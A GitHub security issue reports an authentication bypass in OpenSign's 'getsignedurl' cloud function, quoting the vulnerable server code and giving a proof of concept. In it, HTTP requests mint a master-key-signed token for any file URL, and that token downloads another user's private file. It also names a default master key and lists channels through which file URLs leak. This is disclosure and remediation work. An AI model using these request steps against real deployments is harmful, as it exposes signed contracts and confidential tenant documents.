Skip to content

getsignedurl cloud function returns master-key-signed file URL for any user-supplied URL without authentication, bypassing the file access middleware #2205

Description

@geo-chen

Issue Description

reported privately on 25 May 2026 but no response: https://github.com/OpenSignLabs/OpenSign/security/advisories/GHSA-585f-38jj-q979

Summary

The getsignedurl Parse cloud function in OpenSignServer accepts a docId or templateId plus a url parameter, and when url contains /files/ it immediately returns presignedlocalUrl(url) — a URL signed with the server's MASTER_KEY JWT — without verifying that the caller is authenticated, without validating that the supplied docId/templateId exists or is owned by the caller, and without checking that the supplied url actually corresponds to the supplied document. The signed URL is the only credential the server-wide file middleware requires; once obtained, it grants read access to the underlying file. An unauthenticated attacker who knows or guesses a Parse file URL (which OpenSign routinely exposes through signing emails, document share links, and audit-trail responses) can therefore download the file without any session.

Details

File: apps/OpenSignServer/cloud/parsefunction/getSignedUrl.js

export async function getSignedUrl(request) {
  try {
    const docId = request.params.docId || '';
    const templateId = request.params.templateId || '';
    const url = request.params.url;

    if (docId || templateId) {
      try {
        if (url?.includes('/files/')) {
          return presignedlocalUrl(url);            // <-- no auth, no DB lookup
        } else if (useLocal !== 'true') {
          const query = new Parse.Query(docId ? 'contracts_Document' : 'contracts_Template');
          // ... only here does the function look up the document and (optionally)
          // require auth, gated on IsEnableOTP being true
          ...

presignedlocalUrl (same file):

export function presignedlocalUrl(signedUrl, expirationTimeInSeconds) {
  if (signedUrl?.includes('/files/')) {
    const fileUrl = signedUrl.split('?')?.[0];
    const secretKey = process.env.MASTER_KEY;
    const exp = expirationTimeInSeconds || 200;
    const payload = { fileUrl, exp: Math.floor(Date.now() / 1000) + exp };
    const token = jwt.sign(payload, secretKey);
    return `${fileUrl}?token=${token}`;
  }
  return signedUrl;
}

The function is registered without any per-request access control:

// apps/OpenSignServer/cloud/main.js:98
Parse.Cloud.define('getsignedurl', getSignedUrl);

The complementary file middleware (apps/OpenSignServer/index.js:192) is the only protection on /files/...:

app.use(async function (req, res, next) {
  const isFilePath = req.path?.includes('/files/') || false;
  if (isFilePath && req.method.toLowerCase() === 'get') {
    const serverUrl = new URL(process.env.SERVER_URL);
    const origin = serverUrl.pathname === '/api/app' ? serverUrl.origin + '/api' : serverUrl.origin;
    const fileUrl = origin + req.originalUrl;
    const params = fileUrl?.split('?')?.[1];
    if (params) {
      const fileRes = await validateSignedLocalUrl(fileUrl);
      if (fileRes === 'Unauthorized') return res.status(400).json({ message: 'unauthorized' });
    } else {
      return res.status(400).json({ message: 'unauthorized' });
    }
    next();
  } else {
    next();
  }
});

And validateSignedLocalUrl (same getSignedUrl.js) accepts any JWT signed with the master key whose fileUrl claim matches the requested URL. Because getsignedurl mints a token for any URL the caller supplies, this is trivially satisfied.

Net effect: the file access model assumes every signed URL was issued to someone who legitimately had access. getsignedurl's /files/ short-circuit breaks that assumption — anyone with the Parse Application ID (which is public-by-design for SDK clients) can mint a fresh, valid token for any file URL.

Expected Behavior

No response

Current Behavior

No response

Steps to reproduce

PoC

Tested against opensign/opensignserver:main with USE_LOCAL=true, default APP_ID=opensign, default MASTER_KEY=XnAadwKxxByMr.

Step 0 — a victim uploads a file in the normal flow (via Parse REST POST /app/files/...). The server returns a URL of the form:

http://<host>/app/files/<appId>/<random32hex>_<original-filename>

For example: http://localhost:8080/app/files/opensign/45f68f23c6a4fe7e51d269685aff9f7c_victim_invoice.txt

Step 1 — confirm direct access without a token is blocked:

GET /app/files/opensign/45f68f23c6a4fe7e51d269685aff9f7c_victim_invoice.txt
->
HTTP/1.1 400 Bad Request
{"message":"unauthorized"}

Step 2 — unauthenticated attacker calls getsignedurl with the target file URL:

POST /app/functions/getsignedurl HTTP/1.1
Host: localhost:8080
X-Parse-Application-Id: opensign
Content-Type: application/json

{"docId":"any","url":"http://localhost:8080/app/files/opensign/45f68f23c6a4fe7e51d269685aff9f7c_victim_invoice.txt"}

Response:

{"result":"http://localhost:8080/app/files/opensign/45f68f23c6a4fe7e51d269685aff9f7c_victim_invoice.txt?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

The docId value is not checked against the database — any non-empty string works.

Step 3 — download the file with the signed URL (no session cookie, no Bearer token, no Application-Id header required):

GET /app/files/opensign/45f68f23c6a4fe7e51d269685aff9f7c_victim_invoice.txt?token=eyJhbGciOiJIUzI1NiIs...
->
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 53

VICTIM SECRET CONTENT - confidential business invoice

Impact

OpenSign is an e-signature platform; files served via /app/files/... include signed contracts, uploaded documents pending signature, and audit-trail PDFs — all sensitive tenant data. The deployed protection model is "files are only retrievable via a signed URL minted after an authorisation check". This bug eliminates the authorisation check: any caller with network reach to the Parse server and knowledge of the Parse Application ID (typically embedded in the frontend bundle and so effectively public for SDK use) can mint a valid signed URL for any file URL they obtain.

File URLs in OpenSign are not guessable from scratch (the filename includes a 32-character random hex prefix), but they leak through several legitimate channels:

  • Signer notification emails contain direct links to the audit trail / signed PDF.
  • Public document share / view links sent to non-account signers.
  • API responses returning document metadata visible to any tenant member, including the file URL field on contracts_Document.SignedUrl.
  • Server access logs / reverse-proxy logs.
  • Browser history / clipboard.

Once a URL is observed via any of those channels, this bypass keeps it accessible indefinitely (until the file is deleted), independent of session revocation or document-share expiration policies the operator may have configured.

The bug also defeats the existing IsEnableOTP document protection — that check lives in the other branch of getsignedurl (the S3 path) and is unreachable for USE_LOCAL=true deployments.

Suggested fix: the /files/ branch of getsignedurl must perform the same DB lookup as the S3 branch — load contracts_Document / contracts_Template by the supplied docId/templateId, verify the calling user has access (use isAuthenticated(request.user) and an ownership check against the tenant/team), and verify the supplied url is actually a file referenced by that document. Alternatively, drop the user-supplied url parameter entirely and derive the file URL server-side from the document.

Screenshots of the issue(optional)

No response

Operating System [e.g. MacOS Sonoma 14.1, Windows 11]

No response

What browsers are you seeing the problem on?

Chrome

What version of OpenSign™ are you seeing this issue on? [e.g. 1.0.6]

commit 0c29596

What environment are you seeing the problem on?

No response

Please check the boxes that apply to this issue report.

  • I have searched the existing issues & discussions to make sure that this is not a duplicate.

Code of Conduct

  • I agree to follow this project's Code of Conduct
  • I have searched the existing issues & discussions to make sure that this is not a duplicate.

Metadata

Metadata

Labels

Type

No type

Fields

No fields configured for issues without a type.

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions